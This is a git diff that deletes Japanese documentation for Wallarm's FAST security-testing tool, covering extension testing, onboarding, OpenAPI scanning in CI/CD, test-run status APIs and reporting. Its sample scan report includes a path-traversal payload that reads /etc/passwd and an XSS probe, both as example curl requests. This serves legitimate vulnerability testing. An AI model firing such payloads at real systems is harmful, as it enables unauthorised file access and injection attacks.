nodeを起動するには、次のコマンドを実行します: - - 1. コンテナ名: `fast-node` - 2. 環境変数ファイル: `/home/user/fast.cfg` - 3. コンテナの`8080`ポートを公開するポート: `9090` - - ``` - sudo docker run --name fast-node --env-file=/home/user/fast.cfg -p 9090:8080 wallarm/fast - ``` - ---8<-- "../include/fast/wallarm-api-host-note.md" - - FAST nodeが正常に起動すると、Wallarm Cloudへの正常な接続と読み込まれた拡張機能の数を知らせる次の出力がコンソールに表示されます: - ---8<-- "../include/fast/console-include/dsl/fast-node-run-ok.md" - -ノードの起動中にエラーが発生した場合、エラー情報がコンソールに出力されます。拡張機能の構文エラーに関するメッセージ例を以下に示します: - ---8<-- "../include/fast/console-include/dsl/fast-node-run-fail.md" - -!!! info "拡張機能の配置要件" - ネストしたディレクトリ内の拡張機能は接続されません（例: 拡張機能が`extensions/level-2/`ディレクトリに配置されている場合）。選択した接続方法に応じて、拡張機能はFAST nodeのDockerコンテナにマウントするディレクトリのルート、またはGitリポジトリのルートに配置する必要があります。 - -## 拡張機能の動作確認 - -先に作成した[`mod-extension.yaml`][doc-mod-extension]および[`non-mod-extension.yaml`][doc-non-mod-extension]拡張機能の動作を確認するには、次の操作を行います: - -1. [前述の手順][anchor-connect-extension]に従って拡張機能をFAST nodeに接続します。 - -2. テスト用ポリシーを作成します。これはFAST nodeに接続されているすべてのFAST拡張機能で使用されます。テストポリシーの動作の詳細は[こちら][doc-testpolicy]にあります。 - - 接続済みの修正型拡張機能はベースラインリクエスト内の`POST_JSON_DOC_HASH_email_value`ポイントを変更し、非修正型拡張機能は`URI`ポイントでの操作権限を必要とすることを思い出してください。 - - したがって、1回のテスト実行で両方の拡張機能を実行するには、テストポリシーで次の操作を許可する必要があります: - - * POSTパラメータ - * URIパラメータ - - ![テストポリシーウィザード、「Insertion points」タブ][img-test-policy-insertion-points] - - また、これらの拡張機能はアプリケーションがSQLi攻撃に脆弱かどうかをチェックします。したがって、Wallarm FAST detectsを使用して、他の脆弱性（例: RCE）についてもアプリケーションをチェックしておくと便利です。これにより、SQLiの脆弱性が、組み込みのFAST detectsではなく、作成した拡張機能によって検出されていることを確認できます。 - - ![テストポリシーウィザード、「Attacks to test」タブ][img-test-policy-attacks] - - 最終的なテストポリシーは次のようになります: - - ``` - X-Wallarm-Test-Policy: type=rce; insertion=include:'POST_.*','URI'; - ``` - -3. 作成したテスト用ポリシーに基づいて、FAST nodeのTest runを作成します。 - - ![Test run][img-test-run] - -4. FAST nodeが次のような情報メッセージをコンソールに出力するまで待ちます: `Recording baselines for TestRun#`。これは、FAST nodeがベースラインリクエストの記録準備ができたことを意味します。
        ---8<-- "../include/fast/console-include/dsl/fast-node-recording.md" - -5. 以下の例のように、ランダムなパラメータを含むPOSTリクエストをFAST node経由でOWASP Juice Shopのログインページに送信します: - - ``` - curl --proxy http:// \ - --request POST \ - --url http://ojs.example.local/rest/user/login \ - --header 'accept-language: en-US,en;q=0.9' \ - --header 'content-type: application/json' \ - --header 'host: ojs.example.local' \ - --data '{"email":"test@example.com", "password":"12345"}' - ``` - - リクエストの送信には`curl`など任意のツールを使用できます。 - - !!! info "ベースラインリクエスト記録プロセスの停止" - ベースラインリクエストを送信した後は、記録プロセスを停止することを推奨します。この手順は[こちら][link-stop-recording]に記載しています。 - -6. FAST nodeのコンソール出力には、次の内容が表示されます: - - * 対象アプリケーションが組み込みのFAST detectsでテストされること - * ベースラインリクエストのPOSTパラメータに対して修正型FAST拡張機能が実行されること - * ベースラインリクエストのURIパラメータに対して非修正型FAST拡張機能が実行されること - --8<-- "../include/fast/console-include/dsl/fast-node-working.md" - - WallarmのWebインターフェイスでTest run情報を開き、“Details”リンクをクリックすると、リクエスト処理の完全なログを確認できます。 - - ![Test runの詳細情報][img-testrun-details] - - ![リクエスト処理のフルログ][img-log] - -7. 検出された問題数を含むリンク（例: “2 issues”）をクリックすると、検出された脆弱性の情報も確認できます。“Vulnerabilities”ページが開きます。 - - ![WallarmのWebインターフェイスのVulnerabilities][img-vulns] - - FAST拡張機能で検出された脆弱性については、“Risk”、“Type”、“Title”の各列に、拡張機能の`meta-info`セクションで指定した値が表示されます。 - -8. 脆弱性をクリックすると、その詳細情報（拡張機能ファイルの`meta-info`セクションにある説明、およびそれを悪用するリクエストの例を含む）を表示できます。 - - 脆弱性情報の例（修正型拡張機能で検出されたもの）: - - ![脆弱性の詳細情報][img-vuln-details-mod] \ No newline at end of file diff --git a/docs/latest-ja/fast/onboarding/onboarding.md b/docs/latest-ja/fast/onboarding/onboarding.md deleted file mode 100644 index 941f89a7a0..0000000000 --- a/docs/latest-ja/fast/onboarding/onboarding.md +++ /dev/null @@ -1,115 +0,0 @@ -[img-quick-help-howto]: ../../images/fast/onboarding/common/1-quick-help.png -[img-fast-5mins-button]: ../../images/fast/onboarding/common/2-fast-in-5mins.png -[img-intro]: ../../images/fast/onboarding/common/3-intro.png -[img-deploy]: ../../images/fast/onboarding/common/4-deploy.png -[img-cont-deployed]: ../../images/fast/onboarding/common/5-cont-deployed.png -[img-ff-proxy-settings]: ../../images/fast/onboarding/common/6-ff-proxy.png -[img-create-testrun]: ../../images/fast/onboarding/common/7-create-testrun.png -[img-recording]: ../../images/fast/onboarding/common/8-check-recording.png -[img-http-request]: ../../images/fast/onboarding/common/9-request.png -[img-gruyere-app]: ../../images/fast/onboarding/common/10-gruyere-app.png -[img-stop-recording]: ../../images/fast/onboarding/common/11-stop-recording.png -[img-results]: ../../images/fast/onboarding/common/12-detected-vuln.png -[img-detailed-results]: ../../images/fast/onboarding/common/13-vuln-details.png -[img-finish]: ../../images/fast/onboarding/common/14-finish.png - -[link-wl-portal]: https://us1.my.wallarm.com -[link-docker-install-docs]: https://docs.docker.com/install/overview/ -[link-firefox-proxy]: https://support.mozilla.org/en-US/kb/connection-settings-firefox -[link-gruyere-app]: http://google-gruyere.appspot.com/ -[link-qsg]: ../qsg/deployment-options.md - -# FASTのオンボーディング - ---8<-- "../include/fast/cloud-note.md" - - 最初に[Wallarm portal][link-wl-portal]へログインした際、5つのステップからなるオンボーディングプロセスを通じてFASTに慣れることができます。 - -!!! info "オンボーディングプロセスの制御" - オンボーディングパネルの✕ボタンをいつでもクリックして、オンボーディングプロセスを停止できます。 - - オンボーディングを完全にスキップするか、現在のステップから後で再開するかを選択できます。 - - オンボーディングをスキップ後に開始したい場合は、Wallarm portalの右上にあるクエスチョンマークを押し、開いたサイドバーで「FAST in 5 minutes」項目を選択します: - - ![「The Quick Help」ボタン][img-quick-help-howto] - - 以前に保留したオンボーディングプロセスを再開する場合は、Wallarm portalの右下にある「FAST in 5 minutes」ボタンをクリックします: - - ![「FAST in 5 minutes」ボタン][img-fast-5mins-button] - -FASTを手早く理解するには、次の手順に従います。 -1. FASTソリューションについて説明を読みます。 - - ![FASTソリューションに関する概要情報][img-intro] - - 次のステップに進むには「Deploy FAST Node →」ボタンをクリックします。 - -2. お使いのマシンにFASTノードを含むDockerコンテナをデプロイします。そのために、このステップに表示される`docker run`コマンドをコピーして実行します。コマンドには必要なパラメータがすべてあらかじめ設定されています。 - - ![デプロイのヒント][img-deploy] - - !!! info "Dockerのインストール" - Dockerがない場合は、[インストールしてください][link-docker-install-docs]。Dockerのエディションはどちらでも適しています。Community EditionでもEnterprise Editionでも問題ありません。 - - FASTノードは起動後、`127.0.0.1:8080`で受信接続を待ち受けます。 - - ![デプロイ済みのFASTノード][img-cont-deployed] - - お使いのマシンのブラウザを、HTTPプロキシとして`127.0.0.1:8080`を使用するように設定します。Wallarm portalを開いているブラウザ以外であれば、どのブラウザでも使用できます。Mozilla Firefoxを推奨します（プロキシの設定方法は[こちらの手順][link-firefox-proxy]を参照してください）。 - - ![Mozilla Firefoxのプロキシ設定][img-ff-proxy-settings] - - !!! info "別のポート番号を使用する" - FASTノードに`8080`ポートを割り当てたくない場合（例: そのポートで別のサービスが待ち受けている場合）、FASTで使用する別のポート番号を設定できます。そのためには、`docker run`コマンドの`-p`パラメータで希望するポート番号を指定します。例えば、ポート`9090`を使用する場合は次のように指定します: `-p 9090:8080`。 - - 次のステップに進むには「Create a Test Run →」ボタンをクリックします。 - - !!! info "前のステップに戻る" - 前のステップ名が付いたボタン（例: 「← Understanding FAST」）をクリックすれば、いつでも前のステップに戻れることにご注意ください。 - -3. 「Create test run」ボタンをクリックしてテストランを作成します。オンボーディングのヒントに従い、テストラン名を入力し、ドロップダウンリストから必要なテストポリシーとノードを選択します: - - ![テストランの作成][img-create-testrun] - - 「Create and run」ボタンを押して、テストランの作成を完了します。 - - 次のステップに進むには「Discover Vulnerabilities →」ボタンをクリックします。 - -4. FASTノードのコンソールに`Recording baselines for TestRun...`というメッセージが表示されていることを確認します: - - ![FASTノードのコンソール][img-recording] - - 次に、脆弱なアプリケーション[Google Gruyere][link-gruyere-app]にリクエストを送信し、FASTによる脆弱性テストを開始します。 - - そのために、オンボーディングのヒントに記載されているHTTPリクエストをコピーし、先ほどFASTノードをプロキシとして使用するよう設定したブラウザのアドレスバーに貼り付けて、リクエストを実行します: - - ![ヒント内のHTTPリクエスト][img-http-request] - - ![HTTPリクエストの実行][img-gruyere-app] - - リクエスト送信後、「Actions」ドロップダウンメニューから「Stop recording」を選択してリクエストの記録を停止します。「Yes」ボタンを押して操作を確定します: - - ![リクエスト記録プロセスの停止][img-stop-recording] - - テストが完了するまで待ちます。FASTはGoogle GruyereアプリケーションでXSS脆弱性を検出するはずです。テストランの「Results」列に脆弱性の識別子と種類が表示されます: - - ![テスト結果][img-results] - - !!! info "脆弱性の分析" - テストランの「Results」列の値をクリックすると、検出された脆弱性の詳細を確認できます: - - ![脆弱性の詳細情報][img-detailed-results] - - 次のステップに進むには「Run With It!」ボタンをクリックします。 - -5. ここまでで、FASTに習熟し、Webアプリケーションの脆弱性を1件発見できました。 - - ![オンボーディングプロセスの終了][img-finish] - - FASTの始め方に関する詳細は[「クイックスタートガイド」][link-qsg]を参照してください。 - - 「Finish」ボタンをクリックしてオンボーディングプロセスを完了します。 - - !!! info "追加で実施できる操作" - 脆弱性が正常に検出されたら、FASTノードのDockerコンテナを停止し、ブラウザのプロキシ設定を無効にできます。 \ No newline at end of file diff --git a/docs/latest-ja/fast/openapi-security-testing.md b/docs/latest-ja/fast/openapi-security-testing.md deleted file mode 100644 index 74228f1e3f..0000000000 --- a/docs/latest-ja/fast/openapi-security-testing.md +++ /dev/null @@ -1,124 +0,0 @@ -# CI/CD上のOpenAPIセキュリティテスト - -Wallarmが提供するCI/CD上のOpenAPIセキュリティテストは、シャドウAPIやゾンビAPIを含む重要なAPIのビジネスシナリオに内在するセキュリティ脆弱性を特定し、対処するためのソリューションを提供します。本記事では、このソリューションの実行方法と使用方法を説明します。 - -このソリューションは、Cross-Origin Resource sharing、パストラバーサル、アクセス制御の不備などの脆弱性を見つけるために特別に設計されたテストリクエストを生成して動作します。その後、Dockerを使用してCI/CDパイプラインにシームレスに統合され、これらの脆弱性についてAPIを自動スキャンします。 - -テスト対象とするエンドポイントを柔軟に選択できます。 - -* **エンドポイントの自動検出**: [WallarmのAPI Discovery](../api-discovery/overview.md)モジュールを活用する場合、実トラフィックデータからAPIエンドポイントが自動的に検出されます。検出されたエンドポイントのうち、どれをテストするかを選択できます。これにより、シャドウAPIやゾンビAPIを含む実際に使用されているエンドポイントにセキュリティテストの対象が絞られ、APIの脆弱性を正確に評価できます。 -* **仕様の手動アップロード**: 代替として、独自のOpenAPI仕様をアップロードし、その仕様に含まれるエンドポイントをこのソリューションでテストできます。最新の仕様があり、その中で特定のエンドポイントに対してテストを実行したい場合に有用です。 - -## OpenAPIセキュリティテストで解決できる課題 - -* このソリューションにより、APIのリグレッションテスト中にセキュリティテストを実施できます。APIの機能に変更を加えた場合、Wallarmのセキュリティテストによって、変更によりセキュリティ上の問題が導入されていないかを明らかにできます。 -* 変更をステージング環境にデプロイし、この段階のCI/CDパイプラインでセキュリティテストを実行することで、潜在的な脆弱性が本番に到達して攻撃者に悪用されることを防止できます。 -* [API Discovery](../api-discovery/overview.md)から得られたデータに基づくセキュリティテストを活用する場合、シャドウAPIやゾンビAPIもテストされます。これらのAPIは、チームやドキュメントが存在を認識していなくてもトラフィックを受けている可能性があるため、モジュールによって自動的に発見されます。ゾンビAPIをセキュリティテストプロセスに含めることで、見落とされがちな脆弱性にも対処でき、より包括的なセキュリティ評価を提供します。 - -## 要件 - -* 有効な**Advanced API Security**の[サブスクリプションプラン](../about-wallarm/subscription-plans.md#core-subscription-plans)。別のプランをご利用の場合は、必要なプランに移行するために[営業チーム](mailto:sales@wallarm.com)までご連絡ください。 - -## セキュリティテストの実行 - -OpenAPI Security Testing機能を制御・カスタマイズするには、テストポリシーを利用します。テストポリシーを作成すると、Dockerを使用してCI/CDパイプラインにセキュリティテストを統合・実行できるコマンドが提供されます。 - -OpenAPIセキュリティテストを実行するには、次の手順に従います。 - -1. [US Cloud](https://us1.my.wallarm.com/security-testing)または[EU Cloud](https://my.wallarm.com/security-testing)のリンクからWallarm Console → **OpenAPI Testing**に進み、**Create testing policy**をクリックします。 - - ![!Policy create](../images/user-guides/openapi-testing/create-testing-policy.png) -1. [自動検出された](../api-discovery/overview.md)APIインベントリからテストしたいAPIエンドポイントを選択するか、JSON形式のOpenAPI 3.0仕様をアップロードします。 - - なお、API Discoveryモジュールは新しいエンドポイントを自動的に特定しますが、既存の脆弱性テストポリシーへ自動で追加はしません。そのため、新しく検出された各エンドポイントには個別のポリシーが必要です。 -1. APIエンドポイントでテストしたい脆弱性の種類を選択します。 -1. 必要に応じて、認証ヘッダーやWallarmのテストリクエストを示すヘッダーなど、脆弱性テスト用のカスタムヘッダーを追加します。 - - これらのヘッダーは、すべてのエンドポイントへの各リクエストに使用されます。 -1. 提供されたDockerコマンドをコピーし、自動で設定されなかった環境変数の値を入力します。 -1. 自動テストのために、そのコマンドをCI/CDパイプラインに統合します。 - -Dockerコマンドの例: - -=== "US Cloud" - ``` - docker run -e WALLARM_API_HOST=us1.api.wallarm.com -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_TESTING_POLICY_ID=7 -e TARGET_URL=${WALLARM_SCANNER_TARGET_URL} -v ${WALLARM_REPORT_PATH}:/app/reports --pull=always wallarm/oas-fast-scanner:latest - ``` -=== "EU Cloud" - ``` - docker run -e WALLARM_API_HOST=api.wallarm.com -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_TESTING_POLICY_ID=7 -e TARGET_URL=${WALLARM_SCANNER_TARGET_URL} -v ${WALLARM_REPORT_PATH}:/app/reports --pull=always wallarm/oas-fast-scanner:latest - ``` - -[Dockerコンテナ](https://hub.docker.com/r/wallarm/oas-fast-scanner)が受け付ける環境変数の一覧は以下のとおりです。 - -Environment variable | Description| Required? ---- | ---- | ---- -`WALLARM_API_HOST` | Wallarm APIサーバー:
        • US Cloudの場合は`us1.api.wallarm.com`
        • EU Cloudの場合は`api.wallarm.com`
        | Yes -`WALLARM_API_TOKEN` | **OpenAPI testing**権限を持つ[Wallarm APIトークン](../user-guides/settings/api-tokens.md)。 | Yes -`WALLARM_TESTING_POLICY_ID` | WallarmのテストポリシーID。ポリシー作成時に自動生成されます。 | Yes -`TARGET_URL` | テストしたいAPIエンドポイントがホストされているURLです。テストリクエストはこのホスト（例: ステージング、ローカルビルド）に送信されます。 | Yes - -変数をコンテナへ渡す方法をより安全にするには、自動で設定されなかったコンテナ環境変数の値を、マシン上のローカル環境変数として保存することを推奨します。ターミナルで次のコマンドを実行します。 - -``` -export WALLARM_API_TOKEN= -export WALLARM_SCANNER_TARGET_URL= -``` - -セキュリティテストの結果をホストマシンに保存するには、Dockerコマンドの`-v`オプション内の`${WALLARM_REPORT_PATH}`変数に、希望するホストマシンのパスを指定します。 - -## セキュリティテスト結果の解釈 - -セキュリティテストの実行時、Wallarmはテストポリシーで選択した脆弱性を明らかにするために設計された典型的なテストリクエストを連続的に生成します。これらのテストリクエストは、ポリシーで定義されたエンドポイントへ順番に送信されます。 - -生成したリクエストに対するレスポンスを分析することで、WallarmはAPIエンドポイントに存在する未解決の脆弱性を特定します。その結果はDockerコンテナの標準出力(stdout)で`0`または`1`のコードとして返されます。 - -* `0`は、未解決の脆弱性が検出されなかったことを示します。 -* `1`は、未解決の脆弱性が存在することを示します。 - -特定の脆弱性で`1`のコードを受け取った場合は、適切な対策を講じることが重要です。 - -## セキュリティテストレポートの生成 - -脆弱性を露呈させたリクエストの詳細情報を提供するセキュリティレポートを取得できます。レポートはCSV、YAML、JSONなど複数の形式で生成されます。 - -セキュリティテストの結果をホストマシンに保存するには、Dockerコマンドの`-v ${WALLARM_REPORT_PATH}:/app/reports`オプション内の`${WALLARM_REPORT_PATH}`パスに、希望するホストマシンのパスを指定します。 - -Dockerコンテナがレポートファイルを正しく保存できるよう、指定したホストマシンのパスに適切な書き込み権限があることを確認してください。 - -JSONレポートの例: - -```json -[ - { - "type":"ptrav", - "threat":80, - "payload":"/../../../../../../../../../etc/passwd", - "exploit_example":"curl -v -X GET -H 'x-test-id: 123' http://app:8000/files?path=/../../../../../../../../../etc/passwd\n\n{\"file_contents\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\n", - "name":"LFI-linux-replace", - "path":"/files", - "method":"get", - "url":"http://app:8000" - }, - { - "type":"xss", - "threat":60, - "payload":"'wwra92w><", - "exploit_example":"curl -v -X GET -H 'x-test-id: 123' http://app:8000/html_page?query='wwra92w><\n\n'wwra92w><", - "name":"xss-html-injections", - "path":"/html_page", - "method":"get", - "url":"http://app:8000" - } -] -``` - -既定では、セキュリティレポートはDockerコンテナ内の`/app/reports`ディレクトリに保存されます。`-v`オプションを使用すると、`/app/reports`の内容を指定したホストマシンのディレクトリにマウントします。 - -## セキュリティポリシーの管理 - -Wallarm Consoleの**OpenAPI Testing**セクションでは、アカウントに紐づくセキュリティテストポリシーの一覧を管理できます。サービス、チーム、目的、ローカルテストやステージングなどのテスト段階ごとに、異なるポリシーを使い分けることができます。 - -要件に合わせて、既存のポリシーを編集・削除できます。 - -![!Policies list](../images/user-guides/openapi-testing/testing-policies-list.png) \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/check-testrun-status.md b/docs/latest-ja/fast/operations/check-testrun-status.md deleted file mode 100644 index e4eb6aaa6c..0000000000 --- a/docs/latest-ja/fast/operations/check-testrun-status.md +++ /dev/null @@ -1,190 +0,0 @@ -[doc-about-tr-token]: internals.md - -[img-testrun-velocity]: ../../images/fast/poc/en/checking-testrun-status/testrun-velocity.png -[img-testrun-avg-rps]: ../../images/fast/poc/en/checking-testrun-status/testrun-avg-rps.png -[img-status-passed]: ../../images/fast/qsg/common/test-interpretation/passed-colored.png -[img-status-failed]: ../../images/fast/qsg/common/test-interpretation/failed-colored.png -[img-status-inprogress]: ../../images/fast/qsg/common/test-interpretation/in-progress.png -[img-status-error]: ../../images/fast/qsg/common/test-interpretation/error-colored.png -[img-status-waiting]: ../../images/fast/qsg/common/test-interpretation/waiting-colored.png -[img-status-interrupted]: ../../images/fast/qsg/common/test-interpretation/interrupted-colored.png -[img-test-runs]: ../../images/fast/poc/en/checking-testrun-status/test-runs.png - -[link-wl-portal-testruns-in-progress]: https://us1.my.wallarm.com/testing/?status=running - -[link-integration-chapter]: integration-overview.md -[link-vuln-list]: ../vuln-list.md - -[anchor-testrun-estimates]: #estimates-of-test-runs-execution-speed-and-time-to-completion - -[doc-testrun-copying]: copy-testrun.md -[doc-stop-recording]: stop-recording.md - - -# テスト実行の状態確認 - -最初のベースラインリクエストが記録されると、テストリクエストの生成と実行の処理が開始されます。ベースラインリクエストの記録プロセスを[停止][doc-stop-recording]した後も、これらの処理はしばらくの間継続する場合があります。進行中の処理の状況を把握するために、テスト実行の状態を確認できます。これには、以下の方法を使用できます: - -* [Wallarm UIで状態を確認する](#checking-the-state-via-wallarm-ui) -* [APIメソッドで状態を確認する](#checking-the-state-using-api-method) - -## Wallarm UIで状態を確認する - -テスト実行の状態はWallarm UIでリアルタイムに表示されます。状態を確認するには: - -1. [USクラウド](https://us1.my.wallarm.com/)または[EUクラウド](https://my.wallarm.com/)のWallarmアカウントにログインします。 -2. **Test runs**セクションを開き、対象のテスト実行をクリックします。 - -![テスト実行の例][img-test-runs] - -状態は各ベースラインリクエストごとに表示されます: - -* **Passed** ![ステータス: Passed][img-status-passed] - - 該当のベースラインリクエストに対して脆弱性は検出されませんでした。 - -* **In progress** ![ステータス: In progress][img-status-inprogress] - - ベースラインリクエストに対する脆弱性テストを実行中です。 - -* **Failed** ![ステータス: Failed][img-status-failed] - - 該当のベースラインリクエストに対して脆弱性が検出されました。各ベースラインリクエストごとに、脆弱性の件数と詳細へのリンクが表示されます。 - -* **Error** ![ステータス: Error][img-status-error] - - 表示されたエラーによりテスト処理が停止しました: - - * `Connection failed`: ネットワークエラー - * `Auth failed`: 認証パラメータが渡されていない、または不正です - * `Invalid policies`: 設定済みのテストポリシーの適用に失敗しました - * `Internal exception`: セキュリティテストの設定が不正です - * `Recording error`: リクエストパラメータが不正、または不足しています - -* **Waiting** ![ステータス: Waiting][img-status-waiting] - - ベースラインリクエストはテスト待ちのキューに入っています。同時にテストできるリクエスト数には制限があります。 - -* **Interrupted** ![ステータス: Interrupted][img-status-interrupted] - - **Interrupt testing**ボタンによってテスト処理が中断されたか、同じFASTノードで別のテスト実行が実行されました。 - -## APIメソッドで状態を確認する - -!!! info "必要なデータ" - 以下の手順に進むには、次のデータが必要です: - - * トークン - * テスト実行の識別子 - - テスト実行とトークンの詳細は[こちら][doc-about-tr-token]をご参照ください。 - - 本ドキュメントでは、例として以下の値を使用します: - - * トークンとして`token_Qwe12345` - * テスト実行の識別子として`tr_1234` - - -!!! info "テスト実行の確認に適したタイミングの選び方" - あらかじめ定めた期間(例:15秒)でテスト実行の状態を確認できます。あるいは、テスト実行の完了推定時間を用いて、次の確認タイミングを決めることもできます。この推定値はテスト実行の状態確認時に取得できます。[詳細はこちらをご覧ください。][anchor-testrun-estimates] - -テスト実行の状態を単発で確認するには、URL `https://us1.api.wallarm.com/v1/test_run/test_run_id` にGETリクエストを送信します: - ---8<-- "../include/fast/operations/api-check-testrun-status.md" - -APIサーバへのリクエストが成功すると、サーバのレスポンスが返されます。レスポンスには多くの有用な情報が含まれており、例えば以下のとおりです: - -* `vulns`: 対象アプリケーションで検出された脆弱性に関する情報を含む配列です。各脆弱性レコードには、当該脆弱性に関して次のデータが含まれます: - * `id`: 脆弱性の識別子。 - - * `threat`: 1〜100の範囲の数値で、脆弱性の脅威レベルを表します。値が大きいほど深刻度が高くなります。 - * `code`: 脆弱性に割り当てられたコード。 - - * `type`: 脆弱性の種類。このパラメータは[こちら][link-vuln-list]で説明されている値のいずれかを取ります。 - -* `state`: テスト実行の状態。このパラメータは次のいずれかの値を取ります: - * `cloning`: ベースラインリクエストのクローンを作成中(テスト実行の[コピー作成][doc-testrun-copying]時)。 - * `running`: テスト実行が稼働中。 - * `paused`: テスト実行が一時停止中。 - * `interrupted`: テスト実行が中断されました(例:このFASTノードが現在のテスト実行を実行中に、同ノードで新しいテスト実行が作成された場合)。 - * `passed`: テスト実行が正常に完了しました(脆弱性は検出されませんでした)。 - * `failed`: テスト実行が失敗として完了しました(脆弱性が検出されました)。 - -* `baseline_check_all_terminated_count`: すべてのテストリクエストチェックが完了したベースラインリクエストの数。 - -* `baseline_check_fail_count`: 一部のテストリクエストチェックが失敗したベースラインリクエストの数(言い換えると、FASTが脆弱性を検出した)。 - -* `baseline_check_tech_fail_count`: 技術的な問題により一部のテストリクエストチェックが失敗したベースラインリクエストの数(例:対象アプリケーションが一定期間利用できなかった場合)。 - -* `baseline_check_passed_count`: すべてのテストリクエストチェックに合格したベースラインリクエストの数(言い換えると、FASTは脆弱性を検出しなかった)。 - -* `baseline_check_running_count`: テストリクエストチェックを実行中のベースラインリクエストの数。 - -* `baseline_check_interrupted_count`: すべてのテストリクエストチェックが中断されたベースラインリクエストの数(例:テスト実行の中断による)。 - -* `sended_requests_count`: 対象アプリケーションに送信されたテストリクエストの総数。 - -* `start_time` and `end_time`: テスト実行の開始時刻と終了時刻。それぞれUNIX時間形式で指定されます。 - -* `domains`: ベースラインリクエストの宛先となった対象アプリケーションのドメイン名の一覧。 - -* `baseline_count`: 記録されたベースラインリクエストの数。 - -* `baseline_check_waiting_count`: チェック待ちのベースラインリクエストの数。 - -* `planing_requests_count`: 対象アプリケーションに送信待ちのテストリクエストの総数。 - -### テスト実行の処理速度と完了までの推定時間 - -APIサーバのレスポンスには、テスト実行の処理速度と完了までの時間を見積もるための別グループのパラメータが含まれます。このグループには次のパラメータが含まれます: - -* `current_rps`—テスト実行の状態を取得した瞬間に、FASTが対象アプリケーションへリクエストを送信している現在の速度。 - - この値は平均RPSです。この平均RPSは、テスト実行の状態を取得する直前10秒間に、FASTが対象アプリケーションへ送信したリクエスト数に基づいて算出されます。 - - **例:** - テスト実行の状態を12:03:01に取得した場合、`current_rps`パラメータの値は*(12:02:51-12:03:01の時間帯に送信されたリクエスト数)/10*として計算されます。 - -* `avg_rps`—テスト実行の状態を取得した時点における、FASTが対象アプリケーションへリクエストを送信している平均速度。 - - この値は、テスト実行の全期間においてFASTが対象アプリケーションへ送信した1秒あたりの平均リクエスト数(RPS)です: - - * テスト実行がまだ進行中の場合: テスト実行の開始から現在時刻まで(これは`current time`-`start_time`に等しい)。 - * テスト実行が完了している場合: テスト実行の開始から終了まで(これは`end_time`-`start_time`に等しい)。 - - `avg_rps`パラメータの値は*(`sended_requests_count`/(テスト実行の全実行時間))*として計算されます。 - -* `estimated_time_to_completion`—テスト実行の状態を取得した時点から、テスト実行が完了するまでにかかると見込まれる時間(秒)。 - - 次の場合、このパラメータの値は`null`です: - - * まだ脆弱性チェックが開始されていない(例:新規に作成したテスト実行にベースラインリクエストがまだ記録されていない)。 - * テスト実行が実行中でない(すなわち、"state":"running"以外の状態にある)。 - - `estimated_time_to_completion`パラメータの値は*(`planing_requests_count`/`current_rps`)*として計算されます。 - -!!! warning "テスト実行の処理速度と時間の推定に関連するパラメータの取りうる値について" - 上記のパラメータの値は、テスト実行の開始から最初の10秒間は`null`です。 - -`estimated_time_to_completion`パラメータの値を用いて、次回のテスト実行の状態確認タイミングを決めることができます。この値は増加する場合も減少する場合もある点にご注意ください。 - -**例:** - -`estimated_time_to_completion`で示された時間が経過したタイミングでテスト実行の状態を確認するには、次の手順を実施します: - -1. テスト実行の開始後、テスト実行の状態を複数回取得します。例えば10秒間隔で取得します。`estimated_time_to_completion`パラメータの値が`null`でなくなるまで続けます。 - -2. 次の状態確認は、`estimated_time_to_completion`秒後に実施します。 - -3. テスト実行が完了するまで、前の手順を繰り返します。 - -!!! info "推定値のグラフィカル表示" - WallarmのWebインターフェイスでも推定値を取得できます。 - - そのためには、Wallarmポータルにログインし、現在実行中の[テスト実行の一覧][link-wl-portal-testruns-in-progress]に移動します: - - ![テスト実行の速度と実行時間の推定値][img-testrun-velocity] - - テスト実行が完了すると、1秒あたりの平均リクエスト数が表示されます: - - ![1秒あたりの平均リクエスト数][img-testrun-avg-rps] \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/ci-mode-report.md b/docs/latest-ja/fast/operations/ci-mode-report.md deleted file mode 100644 index 23c3bba9a2..0000000000 --- a/docs/latest-ja/fast/operations/ci-mode-report.md +++ /dev/null @@ -1,50 +0,0 @@ -[anchor-report-mode]: #running-fast-node-in-report-mode - -[doc-ci-mode-testing-report]: ../poc/ci-mode-testing.md#deployment-of-a-fast-node-in-the-testing-mode -[doc-ci-mode-testing]: ../poc/ci-mode-testing.md -[doc-get-token]: create-node.md -[deploy-docker-with-fast-node]: ../qsg/deployment.md#4-deploy-the-fast-node-docker-container - -# テスト結果のレポートを取得する - -FAST nodeでは、TXTおよびJSON形式でテスト結果を取得できます: - -* TXTファイルには、簡潔なテスト結果—ベースラインの統計情報と検出された脆弱性の一覧—が含まれます。 -* JSONファイルには、詳細なテスト結果—セキュリティテストおよびベースリクエストの詳細、ならびに検出された脆弱性の一覧—が含まれます。JSONファイルの内容は、お使いのWallarmアカウント > **Test runs**で提供されるデータに対応します。 - -レポートを取得するには、レポート生成方法を選択し、以下の手順に従ってください: - -* [レポートモードでFAST nodeを実行する][anchor-report-mode] -* [レポートをダウンロードできるオプション付きでテストモードでFAST nodeを実行する][doc-ci-mode-testing-report] - -## レポートモードでFAST nodeを実行する - -レポートモードでFAST nodeを実行するには、[Dockerコンテナをデプロイする][deploy-docker-with-fast-node]際に次の手順を実行してください: - -
        1. 環境変数を設定します:
        - -| 変数 | 説明 | 必須 | -|-------------------- | -------- | ----------- | -| `WALLARM_API_TOKEN` | Wallarm Cloudの[トークン][doc-get-token]。 | はい | -| `WALLARM_API_HOST` | Wallarm APIサーバーのアドレス。
        許可される値:
        Wallarm US Cloudのサーバーには`us1.api.wallarm.com`、
        Wallarm EU Cloudのサーバーには`api.wallarm.com`。| はい | -| `CI_MODE` | FAST nodeの動作モード。
        `report`を指定します。 | はい | -| `TEST_RUN_ID` | レポート取得に必要なテスト実行のID。
        IDは、お使いのWallarmアカウント > **Test runs**およびテストモードでFAST nodeを実行した際のログに表示されます。
        既定では、直近のテスト実行のIDが使用されます。 | いいえ | - -
        1. -v {DIRECTORY_FOR_REPORTS}:/opt/reports/オプションでレポート用フォルダーのパスを渡します。
